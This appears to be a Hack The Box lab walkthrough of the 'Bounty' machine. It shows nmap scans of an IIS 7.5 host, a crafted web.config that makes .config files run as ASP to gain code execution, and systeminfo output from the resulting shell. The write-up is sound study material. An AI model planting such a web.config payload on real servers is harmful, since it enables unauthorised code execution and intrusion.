┌──(kali㉿kali)-[~/Documents/htb] └─$ nmap -p- --min-rate 10000 10.10.10.93 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-16 08:21 EDT Nmap scan report for 10.10.10.93 Host is up (0.26s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 50.01 seconds
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(kali㉿kali)-[~/Documents/htb] └─$ nmap -sC -sV -p 80 10.10.10.93 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-16 08:22 EDT Nmap scan report for 10.10.10.93 Host is up (0.29s latency).
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Bounty |_http-server-header: Microsoft-IIS/7.5 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.38 seconds
WEB shell
basic information
访问Web页面,同时根据插件得到信息:
结合microsoft IIS 版本对应关系,当前系统应为Windows Server 2008R2
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlersaccessPolicy="Read, Script, Write"> <addname="web_config"path="*.config"verb="*"modules="IsapiModule"scriptProcessor="%windir%\system32\inetsrv\asp.dll"resourceType="Unspecified"requireAccess="Write"preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <removefileExtension=".config" /> </fileExtensions> <hiddenSegments> <removesegment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <!-- ASP code comes here! It should not include HTML comment closing tag and double dashes! <% Response.write("-"&"->") ' it is running the ASP code if you can see 3 by opening the web.config file! Response.write(1+2) Response.write("<!-"&"-") %> -->
c:\windows\system32\inetsrv>systeminfo systeminfo Host Name: BOUNTY OS Name: Microsoft Windows Server 2008 R2 Datacenter OS Version: 6.1.7600 N/A Build 7600 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 55041-402-3606965-84760 Original Install Date: 5/30/2018, 12:22:24 AM System Boot Time: 8/16/2023, 3:12:27 PM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul Total Physical Memory: 2,047 MB Available Physical Memory: 1,618 MB Virtual Memory: Max Size: 4,095 MB Virtual Memory: Available: 3,643 MB Virtual Memory: In Use: 452 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: N/A Hotfix(s): N/A Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: No IP address(es) [01]: 10.10.10.93